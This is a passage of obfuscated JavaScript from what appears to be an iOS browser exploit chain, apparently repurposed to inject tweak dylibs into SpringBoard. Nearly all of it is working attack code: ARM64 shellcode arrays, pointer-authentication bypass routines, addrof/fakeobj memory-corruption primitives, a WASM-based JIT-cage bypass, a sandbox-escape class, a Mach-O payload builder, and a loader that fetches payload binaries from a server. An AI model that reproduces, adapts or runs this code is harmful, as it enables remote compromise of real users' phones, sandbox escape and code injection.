                        0x8B1B82F7, // add  x23, x23, x27, lsl #32
                        0x8B1302F7, // add  x23, x23, x19
                        0xAA1503F9, // mov  x25, x21
                        0xDAC10EF9, // blraaz x23
                        0xD367FF39, // lsr  x25, x25, #23
                        0xD2800278, // movz x24, #0x13
                        0xD3481F18, // lsl  x24, x24, #56
                        0x8B1B8318, // add  x24, x24, x27, lsl #32
                        0x8B130318, // add  x24, x24, x19
                        0xAA1503FA, // mov  x26, x21
                        0xDAC10F1A, // blraaz x24
                        0xD357FF5A, // lsr  x26, x26, #23
                        0xCA19035A, // eor  x26, x26, x25
                        0x2A1A03F3, // mov  w19, w26
                        0xB8366873, // str  w19, [x3, w22, uxtw #0]
                        0x910012D6, // add  x22, x22, #0x4
                        0x17FFFFE8, // b    #-0x60
                        // ----- epilogue (plain ret, no auth) -----
                        0xA8C173FB, // ldp  x27, x28, [sp], #16
                        0xA8C16BF9, // ldp  x25, x26, [sp], #16
                        0xA8C163F7, // ldp  x23, x24, [sp], #16
                        0xA8C15BF5, // ldp  x21, x22, [sp], #16
                        0xA8C153F3, // ldp  x19, x20, [sp], #16
                        0xA8C17BFD, // ldp  x29, x30, [sp], #16
                        0xD65F03C0 // ret                               ; plain return (no PAuth check)
                    ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */);
                    b = new Uint32Array(a);
                }
            } else {
                // fd=false: structurally distinct — builds Weyl/hash constant then iterates with XOR+rotate mix
                for (a = [
                    // ----- prologue -----
                    0xA9BF7BFD, // stp  x29, x30, [sp, #-16]!
                    0x910003FD, // add  x29, sp, #0x0
                    0xA9BF4FF4, // stp  x20, x19, [sp, #-16]!           ; NOTE: reversed register pair vs other variants
                    0xA9BF5BF5, // stp  x21, x22, [sp, #-16]!
                    // ----- load 64-bit constant 0xB7E15162_8AED2A6A into x20 -----
                    // (Weyl sequence constant: floor((sqrt(5)-1)/2 * 2^64))
                    0xD2854D54, // movz x20, #0x2a6a                    ; x20  = 0x0000_0000_0000_2a6a
                    0xF2B15DB4, // movk x20, #0x8aed, lsl #16           ; x20  = 0x0000_0000_8aed_2a6a
                    0xF2CA2C54, // movk x20, #0x5162, lsl #32           ; x20  = 0x0000_5162_8aed_2a6a
                    0xF2F6FC34, // movk x20, #0xb7e1, lsl #48           ; x20  = 0xb7e1_5162_8aed_2a6a
                    // ----- guard: skip loop if length == 0 -----
                    0xB40001C1, // cbz  x1, #+0x38                      ; if x1 == 0 -> epilogue
                    0xD2800016, // movz x22, #0x0                       ; index = 0
                    // ----- loop body -----
                    0xB8766815, // ldr  w21, [x0, w22, lsl #0]          ; w21 = input[index]
                    0x4A0202A2, // eor  w2, w21, w2                     ; w2 ^= w21  (fold in input)
                    0xAA0203F5, // mov  x21, x2                         ; x21 = w2 (zero-extended)
                    0xDAC10EF9, // blraaz x23                           ; call fn via x23 (auth IA)
                    0xDAC10E82, // blraaz x20                           ; call fn via x20 — also advances Weyl state
                    0xD357FC42, // lsr  x2, x2, #23                     ; x2 >>= 23
                    0xCA559C42, // eor  x2, x2, x21, lsl #39            ; x2 ^= x21 << 39  (rotate-XOR diffusion)
                    0xB4000043, // cbz  x3, #+0x8                       ; if output ptr == null -> skip store
                    0xB8366862, // str  w2, [x3, w22, uxtw #0]          ; output[index] = w2
                    0x910012D6, // add  x22, x22, #0x4                  ; index += 4
                    0xEB0102DF, // cmp  x22, x1, uxtb #0
                    0x54FFFEAB, // b.lt #-0x2c                          ; loop back
                    // ----- epilogue -----
                    0xA8C15BF5, // ldp  x21, x22, [sp], #16
                    0xA8C14FF4, // ldp  x20, x19, [sp], #16             ; reversed restore matches prologue
                    0xA8C17BFD, // ldp  x29, x30, [sp], #16
                    0xAA0203E0, // mov  x0, x2                          ; return value = final hash state
                    0xD65F03C0 // ret
                ]; 4 * a.length % 32 != 0;) a.push(0xD503201F /* nop */);
                b = new Uint32Array(a);
            }
            this.Ed = this.Ud(b), this.vd = this.Ud(new Uint32Array([
                // vd: minimal trampoline — move argument register then tail-call
                0xAA0603E8, // mov  x8, x6                              ; x8 = x6  (e.g. syscall number / selector)
                0xD61F00E0, // br   x7                                  ; jump to x7 (tail call, no link)
                0xD65F03C0, // ret                                      ; guard slot 2
                0xD65F03C0, // ret                                      ; guard slot 3
                0xD65F03C0, // ret                                      ; guard slot 4
                0xD65F03C0, // ret                                      ; guard slot 5
                0xD65F03C0, // ret                                      ; guard slot 6
                0xD65F03C0 // ret                                      ; guard slot 7
            ]));
        }
        Fd() {
            const b = (b, a, l) => {
                let i = utilityModule._(a);
                const c = newInt64(6625765994 /* 4294967296 + (1297624433 ^ -944437477) */, 7379964258 /* 4294967296 + (876889462 ^ -2086333420) */),
                    o = newInt64(0, 0);
                for (let a = 0; a < b.length; a++) {
                    const d = (b[a] ^ i) >>> 0,
                        h = pacBypass.autda(toInt64(d), o).et >>> 7,
                        g = pacBypass.autda(toInt64(d), c);
                    i = (h ^ (g.it >>> 23 | g.et << 9) >>> 0) >>> 0, exploitPrimitive.write32(l + 4 * a, i);
                }
                return i;
            },
                a = (b, a, l) => {
                    let i = 0,
                        c = pacBypass.autda.bind(pacBypass);
                    !0 === platformModule.platformState.versionFlags.wYk8Jg && (c = pacBypass.autia.bind(pacBypass));
                    const o = (b, a, l) => newInt64(l, (b << 24) + (16777215 /* 1278686017 ^ 1288228030 */ & a)),
                        d = (b, a) => {
                            i = ((b, a, l) => {
                                const i = c(toInt64(b), o(18, a, l)).et >>> 7,
                                    d = c(toInt64(b), o(19, a, l));
                                return (i ^ (d.it >>> 23 | d.et << 9) >>> 0) >>> 0;
                            })(b, a + 1, i);
                        };
                    for (let a = 0; a < b.length; a++) d(b[a], a), exploitPrimitive.write32(l + 4 * a, i);
                    return i;
                },
                l = (b) => {
                    let a = 0;
                    const l = newInt64(0x8aed2a6a, 0xb7e15162),
                        i = newInt64(0, 0);
                    for (let c = 0; c < b.length; c++) {
                        const o = (b[c] ^ a) >>> 0,
                            d = pacBypass.autda(toInt64(o), i).et >>> 7,
                            h = pacBypass.autda(toInt64(o), l);
                        a = (d ^ (h.it >>> 23 | h.et << 9) >>> 0) >>> 0;
                    }
                    return a;
                };
            return !0 === platformModule.platformState.versionFlags.TyPY6G ? !0 === this.fd ? a : b : l;
        }
        Ud(b) {
            const a = b.byteLength;
            if (a % 32 != 0) throw new Error("a % 32 != 0");
            const l = platformState.caller,
                i = this.Dd + 256 /* 1917149780 ^ 1917150036 */,
                c = i + 512 /* 1381529668 ^ 1381530180 */,
                o = exploitPrimitive.fakeobj(b);
            this.kd.fill(0), utilityModule.D(b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PyEQqC + platformModule.platformState.versionFlags.ydHN48, o), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.iBTCSN, a);
            let d, h = 0;
            if (null !== pacBypass) {
                const a = this.Fd();
                if (!0 === platformModule.platformState.versionFlags.TyPY6G) {
                    if (b.byteLength > this.Zd.byteLength) throw new Error("b.byteLength > this.Zd.byteLength");
                    !0 === this.fd ? (!0 === this.Jd ? exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, this.Nd) : exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), !0 === this.Jd && (exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW + 4, 0))) : (exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.NUd9MZ + platformModule.platformState.versionFlags.ydHN48, this.Nd), h = a(b, c + platformModule.platformState.versionFlags.PyEQqC, this.Nd), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h));
                } else h = a(b), exploitPrimitive.write32(c + platformModule.platformState.versionFlags.csgakW, h);
            }
            if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(i), toInt64(c)) : l.jd(toInt64(this.Qd), toInt64(i), toInt64(c)), !0 === platformState.hasPAC) {
                d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.dzBoEE).Dt();
            } else {
                d = exploitPrimitive.readInt64FromOffset(i + platformModule.platformState.versionFlags.cxrfKw).Dt();
            }
            return d;
        }
        Ad(b, a, l) {
            if (l % 4 != 0) throw new Error("l % 4 != 0");
            const i = platformState.caller;
            this.kd.fill(0);
            const c = this.Dd + 256 /* 1934652213 ^ 1934651957 */,
                o = c + 768 /* 1768515137 ^ 1768514881 */;
            if (exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, a), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, l), null !== pacBypass) {
                b = pacBypass.pacia(b, toInt64(18410 /* 1332040808 ^ 1332024194 */));
                let c = 0;
                !0 === platformModule.platformState.versionFlags.TyPY6G && (c = utilityModule._(o + platformModule.platformState.versionFlags.PyEQqC));
                let d = 0;
                if (!0 === platformModule.platformState.versionFlags.TyPY6G) {
                    const b = new ArrayBuffer(l + 4);
                    utilityModule.D(b), d = exploitPrimitive.fakeobj(b), !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq, d) : !0 === this.fd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf, d) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.NUd9MZ, d);
                }
                c = i.jd(toInt64(this.Ed), a, newInt64(l, 0), newInt64(c, 0), toInt64(d)).yt(), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW, c), !0 === this.Jd && exploitPrimitive.write32(o + platformModule.platformState.versionFlags.csgakW + 4, 0);
            }
            null !== pacBypass ? exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.dzBoEE, b) : exploitPrimitive.writeInt64ToOffset(c + platformModule.platformState.versionFlags.cxrfKw, b), exploitPrimitive.copyBigInt(c + platformModule.platformState.versionFlags.SiBW7G, l), null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc ? pacBypass.tc(this.Od, toInt64(c), toInt64(o)) : i.jd(toInt64(this.Qd), toInt64(c), toInt64(o));
        }
        Bd(b) {
            if (null === pacBypass) throw new Error("null === pacBypass");
            const a = platformState.caller;
            b += b % 32, this.kd.fill(0);
            const l = new ArrayBuffer(b);
            new Uint8Array(l).fill(204 /* 1127500664 ^ 1127500724 */);
            const i = exploitPrimitive.fakeobj(l);
            if (b % 32 != 0) throw new Error("b % 32 != 0");
            const c = this.Dd + 256 /* 1131761484 ^ 1131761228 */,
                o = c + 768 /* 1330336338 ^ 1330336082 */;
            exploitPrimitive.writeInt64ToOffset(o + platformModule.platformState.versionFlags.PyEQqC, toInt64(i)), exploitPrimitive.write32(o + platformModule.platformState.versionFlags.iBTCSN, b);
            const d = new ArrayBuffer(b + 4);
            utilityModule.D(d);
            const h = exploitPrimitive.fakeobj(d);
            return !0 === this.Jd ? exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.jY1sqq + platformModule.platformState.versionFlags.ydHN48, h) : exploitPrimitive.copyBigInt(o + platformModule.platformState.versionFlags.PIQrsf + platformModule.platformState.versionFlags.ydHN48, h), a.jd(toInt64(this.Ed), toInt64(i), newInt64(b, 0), newInt64(0, 0), toInt64(h)), pacBypass.tc(this.Od, toInt64(c), toInt64(o)), exploitPrimitive.readInt64FromOffset(c + platformModule.platformState.versionFlags.dzBoEE).Dt();
        }
        Vd() {
            if (this.Gd) return 0;
            {
                const b = this.Td(),
                    a = exploitPrimitive.addrof(b),
                    l = exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.ZiIyeM),
                    i = exploitPrimitive.readRawBigInt(l + platformModule.platformState.versionFlags.iNLXaz),
                    c = exploitPrimitive.readRawBigInt(i + platformModule.platformState.versionFlags.Ps7Z2u),
                    o = exploitPrimitive.readRawBigInt(c + platformModule.platformState.versionFlags.VTwyJG);
                if (0 === o) throw new Error("0 === o");
                return o;
            }
        }
        newInt64OfSomething(b) {
            const a = platformState.caller;
            if (null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc) return this.Bd(b);
            if (this.Gd) {
                a.jd(toInt64(this.vd), toInt64(b), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.Rd));
                const l = exploitPrimitive.readDoubleAsPointer(this.Dd);
                return toInt64(exploitPrimitive.readDoubleAsPointer(l + platformModule.platformState.versionFlags.OaAgtr));
            } {
                let l, i;
                !0 === this.Wd ? (l = toInt64(0), i = toInt64(b)) : (l = toInt64(b), i = toInt64(0));
                a.jd(toInt64(this.vd), toInt64(this.Hd), l, i, toInt64(0), toInt64(0), toInt64(0), toInt64(this.Dd), toInt64(this.xd));
                const c = exploitPrimitive.readDoubleAsPointer(this.Dd);
                return toInt64(exploitPrimitive.readDoubleAsPointer(c + platformModule.platformState.versionFlags.VEwXfI));
            }
        }
    }
    const ob = SandboxEscape;

    // ── Caller setup: JIT cage + PAC-aware function caller ───────────────────
    r._d = function () {
        const b = new Uint8Array([0, 97, 115 /* 1095004022 ^ 1095003909 */, 109 /* 1985967730 ^ 1985967647 */, 1, 0, 0, 0, 1, 52, 3, 96, 8, 126 /* 1715618890 ^ 1715618868 */, 126 /* 945378655 ^ 945378593 */, 126 /* 1249474426 ^ 1249474308 */, 126 /* 1181824566 ^ 1181824584 */, 126 /* 2033281843 ^ 2033281869 */, 126 /* 1717982278 ^ 1717982264 */, 126 /* 1933989986 ^ 1933989916 */, 126 /* 1382770740 ^ 1382770762 */, 1, 126 /* 1414352481 ^ 1414352415 */, 96, 16, 127 /* 961760612 ^ 961760539 */, 127 /* 1231309909 ^ 1231309866 */, 127 /* 1278570084 ^ 1278570011 */, 127 /* 1768847212 ^ 1768847123 */, 127 /* 1362448754 ^ 1362448653 */, 127 /* 895576141 ^ 895576114 */, 127 /* 1651007796 ^ 1651007819 */, 127 /* 2018784865 ^ 2018784798 */, 127 /* 811550054 ^ 811549977 */, 127 /* 878987359 ^ 878987296 */, 127 /* 1179416642 ^ 1179416637 */, 127 /* 1214541361 ^ 1214541390 */, 127 /* 1748323640 ^ 1748323655 */, 127 /* 913137508 ^ 913137435 */, 127 /* 1449684561 ^ 1449684526 */, 127 /* 1162765395 ^ 1162765356 */, 1, 126 /* 1802843974 ^ 1802843960 */, 96, 16, 127 /* 929985397 ^ 929985290 */, 127 /* 1329022024 ^ 1329022007 */, 127 /* 812017463 ^ 812017480 */, 127 /* 1632925293 ^ 1632925202 */, 127 /* 1280664375 ^ 1280664392 */, 127 /* 1366189101 ^ 1366189138 */, 127 /* 1601794376 ^ 1601794359 */, 127 /* 1732735854 ^ 1732735761 */, 127 /* 1834113130 ^ 1834113045 */, 127 /* 1764574069 ^ 1764573962 */, 127 /* 1802454644 ^ 1802454539 */, 127 /* 1734296951 ^ 1734296840 */, 127 /* 1163409721 ^ 1163409734 */, 127 /* 2002138949 ^ 2002138938 */, 127 /* 2037148983 ^ 2037149000 */, 127 /* 1934714674 ^ 1934714701 */, 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, 112 /* 1800626797 ^ 1800626717 */, 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, 116 /* 1230981687 ^ 1230981699 */, 1, 0, 1, 109 /* 911626091 ^ 911625990 */, 2, 0, 1, 111 /* 1415730531 ^ 1415730444 */, 0, 0, 1, 102 /* 930040423 ^ 930040321 */, 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, 194 /* 1366057288 ^ 1366057354 */, 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, 173 /* 1480021817 ^ 1480021908 */, 66, 32, 134 /* 894260306 ^ 894260436 */, 32, 0, 173 /* 1249536360 ^ 1249536453 */, 132 /* 1800760907 ^ 1800761039 */, 32, 3, 173 /* 1865511219 ^ 1865511326 */, 66, 32, 134 /* 1416909384 ^ 1416909518 */, 32, 2, 173 /* 1747807553 ^ 1747807724 */, 132 /* 1249395042 ^ 1249395174 */, 32, 5, 173 /* 1265906739 ^ 1265906846 */, 66, 32, 134 /* 1668893776 ^ 1668893910 */, 32, 4, 173 /* 1298548567 ^ 1298548730 */, 132 /* 1666087220 ^ 1666087344 */, 32, 7, 173 /* 1396852072 ^ 1396852165 */, 66, 32, 134 /* 1651731525 ^ 1651731651 */, 32, 6, 173 /* 912871494 ^ 912871659 */, 132 /* 830027088 ^ 830027220 */, 32, 9, 173 /* 1231253601 ^ 1231253708 */, 66, 32, 134 /* 1111779704 ^ 1111779838 */, 32, 8, 173 /* 1195722029 ^ 1195722112 */, 132 /* 1667392120 ^ 1667392252 */, 32, 11, 173 /* 843329881 ^ 843330036 */, 66, 32, 134 /* 844443969 ^ 844444103 */, 32, 10, 173 /* 910644067 ^ 910644174 */, 132 /* 1496930153 ^ 1496930285 */, 32, 13, 173 /* 1214656619 ^ 1214656710 */, 66, 32, 134 /* 1700033587 ^ 1700033717 */, 32, 12, 173 /* 1496348264 ^ 1496348357 */, 132 /* 828651377 ^ 828651509 */, 32, 15, 173 /* 1870283635 ^ 1870283742 */, 66, 32, 134 /* 1450077538 ^ 1450077668 */, 32, 14, 173 /* 1987144267 ^ 1987144422 */, 132 /* 1752586038 ^ 1752586162 */, 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, 126 /* 1331185994 ^ 1331185972 */, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, 167 /* 1866806125 ^ 1866806218 */, 54, 2, 0, 65, 4, 32, 16, 66, 32, 136 /* 1734690661 ^ 1734690797 */, 167 /* 1682197608 ^ 1682197711 */, 54, 2, 0, 15, 11]).buffer, // WASM module for indirect call table — enables JIT cage bypass
            a = new WebAssembly.Module(b, {}),
            l = new WebAssembly.Instance(a, {}),
            i = l.exports.f,
            c = l.exports.o,
            o = new Uint32Array(l.exports.m.buffer);
        let d = null,
            h = null;
        null !== pacBypass && !0 === platformModule.platformState.versionFlags.sKfNmf && !0 === pacBypass.cc && (d = platformModule.cr().dlsym("jitCagePtr"), h = pacBypass.pacda(Int64.fromNumber(d), Int64.fromNumber(0))); // jitCagePtr: JIT cage pointer for PAC bypass
        for (let b = 0; b < 100000 /* 2036681291 ^ 2036649195 */; b++) try {// JIT warmup for indirect call
            i();
        } catch (b) { }
        const g = utilityModule.Int64.fromNumber(9389 /* 1111844678 ^ 1111835627 */); /* discriminator for PAC signing */
        platformState.caller = {
            jd(b, ...a) {
                const l = platformModule.zn;
                if (b instanceof Int64 == !1) throw new Error("b instanceof Int64 == !1");
                if (b.Et()) throw new Error("b.Et()");
                if (a.length > 8) throw new Error("a.length > 8");
                const d = new Array(16);
                let s = 0;
                for (const b in a) {
                    const l = a[b];
                    if (a[b] instanceof Int64 == !1) throw new Error("a[b] instanceof Int64 == !1");
                    d[s] = l.it, d[s + 1] = l.et, s += 2;
                }
                const t = function (b) {
                    const a = exploitPrimitive.addrof(b);
                    return exploitPrimitive.readRawBigInt(a + platformModule.platformState.versionFlags.rvXShf);
                }(c),
                    I = l.exploitPrimitive.readInt64FromOffset(t);
                if (null !== l.pacBypass) {
                    if (!0 === platformModule.platformState.qn) {
                        if (platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */) throw new Error("platformModule.platformState.iOSVersion >= 170200 /* 828723297 ^ 828885177 */");
                        b = l.pacBypass.tc(h, b, g);
                    } else b = l.pacBypass.pacia(b, g);
                } else
                    if (!0 === platformState.hasPAC) throw new Error("!0 === platformState.hasPAC");
                l.exploitPrimitive.writeInt64ToOffset(t, b);
                try {
                    i(...d);
                } finally {
                    l.exploitPrimitive.writeInt64ToOffset(t, I);
                }
                const y = utilityModule.S(o[0]),
                    e = utilityModule.S(o[1]);
                return new utilityModule.Int64(y, e);
            }
        };
    }, r.qd = function () {
        platformState.sandboxEscape = SandboxEscapeBase.newInstance();
    };

    window.log("Done b5135768e043d1b362977b8ba9bff678b9946bcb");
    return r; // End of middle module (JIT cage + caller setup)
});

// ════════════════════════════════════════════════════════════════════════════
// Outer module: Mach-O payload builder + sandbox escape entry
// ════════════════════════════════════════════════════════════════════════════
let r = {};

const platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0"),
    utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
    {
        N: G
    } = utilityModule,
    intToUnicodeEscape = utilityModule.intToUnicodeEscape,
    gA = utilityModule,
    DA = 1002 /* 1749956218 ^ 1749955984 */; /* Mach-O section alignment (2^10 = 1024) */
// ── Offset64 class (MA) — 64-bit offset arithmetic ──────────────────────
class Offset64 {/* Original: MA → Offset64 */
    static fromUnsigned(A) {
        return new Offset64(A >>> 0, A / 0x100000000 >>> 0);
    }
    static st(A) { return this.fromUnsigned(A); }
    constructor(A, g) {
        this.it = A >>> 0, this.et = g >>> 0;
    }
    add(A) {
        const g = this.et;
        let D = this.it;
        return D += A, new Offset64(D, g);
    }
    xor(A) {
        const g = this.it ^ A.it,
            D = this.et ^ A.et;
        return new Offset64(g >>> 0, D >>> 0);
    }
    gA(A) {
        let g = 0;
        return g = A, Offset64.fromUnsigned(this.toNumber() + g);
    }
    sub(A) {
        return this.add(-A);
    }
    DA(A) {
        return this.gA(-A);
    }
    MA() {
        return 0 !== this.et || this.it > 4096 /* 1667446127 ^ 1667442031 */ && this.it < 7516192768 /* 4294967296 + (2003270000 ^ -1217955472) */;
    }
    Et() {
        return 0 === this.et && 0 === this.it;
    }
    toString() {
        return this.et.toString(16) + "`" + this.it.toString(16);
    }
    ct() {
        return 4294967296 * this.et + this.it;
    }
}

// ── Mach-O binary builder function (CA) ──────────────────────────────────
function CA(A, g, D, M, C, I, w, Q, B, N, E, T, U, L, s, k, F, S, Y, y, o, x, c) {/* Original: CA → buildMachOBinary */
    var i = "";
    return i += intToUnicodeEscape(335544368 /* 1949592169 ^ 1614047833 */), i += intToUnicodeEscape(335544387 /* 1702197064 ^ 1903523595 */), i += intToUnicodeEscape(A.it), i += intToUnicodeEscape(A.et), i += intToUnicodeEscape(g.it), i += intToUnicodeEscape(g.et), i += intToUnicodeEscape(D.it), i += intToUnicodeEscape(D.et), i += intToUnicodeEscape(M.it), i += intToUnicodeEscape(M.et), i += intToUnicodeEscape(C), i += intToUnicodeEscape(0), i += intToUnicodeEscape(I.it), i += intToUnicodeEscape(I.et), i += intToUnicodeEscape(w.it), i += intToUnicodeEscape(w.et), i += intToUnicodeEscape(Q.it), i += intToUnicodeEscape(Q.et), i += intToUnicodeEscape(B.it), i += intToUnicodeEscape(B.et), i += intToUnicodeEscape(N.it), i += intToUnicodeEscape(N.et), i += intToUnicodeEscape(E.it), i += intToUnicodeEscape(E.et), i += intToUnicodeEscape(T.it), i += intToUnicodeEscape(T.et), i += intToUnicodeEscape(U.it), i += intToUnicodeEscape(U.et), i += intToUnicodeEscape(L.it), i += intToUnicodeEscape(L.et), i += intToUnicodeEscape(s.it), i += intToUnicodeEscape(s.et), i += intToUnicodeEscape(F.it), i += intToUnicodeEscape(F.et), i += intToUnicodeEscape(S.it), i += intToUnicodeEscape(S.et), i += intToUnicodeEscape(k.it), i += intToUnicodeEscape(k.et), i += intToUnicodeEscape(Y.it), i += intToUnicodeEscape(Y.et), i += intToUnicodeEscape(y.it), i += intToUnicodeEscape(y.et), i += intToUnicodeEscape(o.it), i += intToUnicodeEscape(o.et), i += intToUnicodeEscape(x.it), i += intToUnicodeEscape(x.et), i += intToUnicodeEscape(c.it), i += intToUnicodeEscape(c.et), i += gA.base64DecodeUtf16(" ");
}
const IA = 0,
    wA = 1,
    QA = 2,
    BA = 3,
    NA = 4,
    EA = 5,
    TA = 6,
    UA = 7,
    LA = 16777216 /* 1244951415 ^ 1261728631 */,
    sA = 4,
    kA = LA / 2 - 4,
    FA = LA / 2,
    SA = LA / 2;

// ── Symbol/API resolver (YA) ─────────────────────────────────────────────
function YA() {/* Original: YA → resolveSymbols */
    const A = new Uint32Array(new ArrayBuffer(LA)),
        g = new Uint8Array(A.buffer),
        D = new Uint32Array(A.buffer),
        M = platformModule.platformState.exploitPrimitive,
        C = M.addrof(A),
        I = M.readDoubleAsPointer(C + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.oGn3OG),
        w = new utilityModule.Int64(utilityModule._(I), utilityModule.F(I)),
        Q = M.addrof(A.buffer),
        B = M.readDoubleAsPointer(Q + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.CN3rr_);
    let N = M.read32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o);
    N += 32, M.write32(B + globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0").platformState.versionFlags.EMDU4o, N);
    const E = {
        CA: I,
        IA: w,
        start() {
            setTimeout(E.wA, 1);
        },
        BA: (A, g) => Math.floor(Math.random() * (g - A + 1)) + A,
        NA() {
            D[1] = 0, D[0] = BA;
        },
        EA() {
            D[1] = 0, D[0] = BA;
        },
        // Telemetry removed
        TA(A, g, D, M) { if (D) D(); },
        // Fetch a single file as ArrayBuffer
        fetchBin(url) {
            // Override entry2_type0x0f.dylib
            url = url.replace(/\/entry2_type0x0f.dylib$/g, "/../../TweakLoader/.theos/obj/arm64" + (platformModule.platformState.hasPAC?"e":"") + "/TweakLoader.dylib");
            // TEST: override my kernel exploit with wrapper
            //url = url.replace(/\/entry1_type0x09.dylib$/g, "/../../src/DriverWrapper/.theos/obj/arm64" + (platformModule.platformState.hasPAC?"e":"") + "/DriverWrapper.dylib");
            
            window.log("Downloading " + url);
            return new Promise((resolve, reject) => {
                const xhr = new XMLHttpRequest();
                xhr.open("GET", url, true);
                xhr.responseType = "arraybuffer";
                xhr.onload = () => {
                    xhr.status === 200 && xhr.response ? resolve(xhr.response) : reject(xhr.status);
                };
                xhr.onerror = () => reject(0);
                xhr.send(null);
            });
        },
        // Cache for payloads/manifest.json
        _payloadManifest: null,
        async getPayloadManifest() {
            if (!E._payloadManifest) {
                const resp = await E.fetchBin("payloads/manifest.json");
                E._payloadManifest = JSON.parse(new TextDecoder().decode(resp));
            }
            return E._payloadManifest;
        },
        // Build F00DBEEF container from individual entry files
        async buildContainer(hashName) {
            const manifest = await E.getPayloadManifest();
            const entries = manifest[hashName];
            if (!entries) throw new Error("Hash not in manifest: " + hashName);

            // Special case: raw file (e.g. the download manifest)
            if (entries.length === 1 && entries[0].raw) {
                return await E.fetchBin("payloads/" + hashName + "/" + entries[0].file);
            }

            // Download all entry files in parallel
            const entryData = await Promise.all(entries.map(e =>
                E.fetchBin("payloads/" + hashName + "/" + e.file)
            ));

            // Calculate total size: 8 (header) + 16*N (entry table) + sum(entry sizes)
            const headerSize = 8 + 16 * entries.length;
            let totalSize = headerSize;
            for (const buf of entryData) totalSize += buf.byteLength;

            const container = new ArrayBuffer(totalSize);
            const view = new DataView(container);
            const out = new Uint8Array(container);

            // F00DBEEF header
            view.setUint32(0, 0xF00DBEEF, true);
            view.setUint32(4, entries.length, true);

            // Entry table + data
            let dataOffset = headerSize;
            for (let i = 0; i < entries.length; i++) {
                const e = entries[i];
                const tableOff = 8 + i * 16;
                view.setUint32(tableOff + 0, e.f1, true);
                view.setUint32(tableOff + 4, e.f2, true);
                view.setUint32(tableOff + 8, dataOffset, true);
                view.setUint32(tableOff + 12, entryData[i].byteLength, true);
                out.set(new Uint8Array(entryData[i]), dataOffset);
                dataOffset += entryData[i].byteLength;
            }

            window.log("[LOADER] Built F00DBEEF container: " + entries.length + " entries, " + totalSize + " bytes");
            return container;
        },
        // Feed raw ArrayBuffer directly into the shared WASM buffer
        feedRawBuffer(arrayBuffer) {
            const bytes = new Uint8Array(arrayBuffer);
            if (bytes.length > g.length - 8) { E.error(); return; }
            for (let i = 0; i < bytes.length; i++) g[i + 8] = bytes[i];
            D[1] = bytes.length;
            D[0] = BA;
        },
        download(A, g, M) {
            //alert("Download " + A + "\n" + new Error().stack);
            D[0] = QA;
            (async () => {
                try {
                    // Extract hash from URL (strip path, .min.js, .js, etc.)
                    let hashName = A;
                    const lastSlash = hashName.lastIndexOf("/");
                    if (lastSlash >= 0) hashName = hashName.substring(lastSlash + 1);
                    hashName = hashName.replace(/\.min\.js$/, "").replace(/\.js$/, "");

                    // Warn user before proceeding with exploit
                    if (hashName === "7a7d99099b035b2c6512b6ebeeea6df1ede70fbb") {
                        let shouldContinue = confirm(
                            "WARNING: This tool uses some parts of a real exploit to inject some dylibs into SpringBoard.\n\n" +
                            "Do NOT store sensitive data on this device while the exploit is active. (just for your safety)\n\n" +
                            "OK = idrc just go for it!\n" +
                            "Cancel = Nah I'm good, I want to stay safe");
                        if (!shouldContinue) {
                            window.log("[LOADER] User canceled.");
                            return;
                        }
                    }

                    // Fetch decrypted F00DBEEF container from payloads/ directory
                    window.log("[LOADER] Loading payload: " + hashName);
                    const container = await E.buildContainer(hashName);
